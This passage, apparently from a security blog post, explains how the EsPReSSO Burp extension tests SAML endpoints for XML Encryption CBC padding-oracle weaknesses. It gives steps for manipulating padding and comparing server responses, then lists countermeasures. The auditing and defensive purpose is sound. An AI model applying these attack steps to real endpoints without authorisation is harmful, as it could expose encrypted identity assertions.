An XML message can now be inserted into the XML data text field. Select a CBC mode encryption algorithm and click Encrypt to apply the changes. As in the example above, press Burp's Go or Forward button to send the message and carefully inspect the response. Try sending invalid XML, e.g., by not closing a tag or using the `&` character without a valid entity and keep an eye open for differences in the returned responses. To manipulate the padding, the text field on the right side shows the hexadecimal representation of the plaintext, including the CBC padding. If you send a single block and set the last byte, which indicates the padding length to the blocksize, i.e. 16 or 0x10 for AES, the ciphertext should decrypt into an empty string and is generally considered "valid" XML.

Please refer to the original paper for more details, tips, and tricks for performing the actual attack [3]. 

Summary

The new XML Encryption attacker included in EsPReSSO can help security auditors to quickly assess if a SAML endpoint is vulnerable to known attacks against XML Encryption. To this end, the decryptor's public key is used in order to send suitable test vectors that can be provided in plaintext. Ciphertext manipulation is, therefore, not required. The actual process of decrypting an intercepted SAML message is, however, considered out of scope and not implemented in EsPReSSO.

In case you wonder how XML Encryption can be used in a secure fashion, here are some considerations [6]:

• Always use an authenticated encryption mode such as AES-GCM instead of the CBC-mode encryption.
• Using RSA-PKCS1 v1.5 within XML Encryption is particularly difficult to do in a secure manner, and it is recommended to use RSA with Optimal Asymmetric Encryption Padding (OAEP) instead [2].
• Apply a digital signature over the whole SAML response, and ensure it is properly validated before attempting to decrypt the assertion. This should thwart the attack as a manipulated response can be recognized as such and should be rejected.

----------

[1] https://www.oasis-open.org/standards#samlv2.0
[2] https://www.w3.org/TR/xmlenc-core/
[3] https://www.nds.ruhr-uni-bochum.de/research/publications/breaking-XML-Encryption/
[4] https://www.nds.ruhr-uni-bochum.de/research/publications/breaking-XML-Encryption-pkcs15/
[5] https://link.springer.com/chapter/10.1007%2FBFb0055716
[6] http://www.w3.org/2008/xmlsec/papers/xmlEncCountermeasuresW3C.pdf
[7] https://web-in-security.blogspot.com/2015/05/how-to-attack-xml-encryption-in-ibm.html

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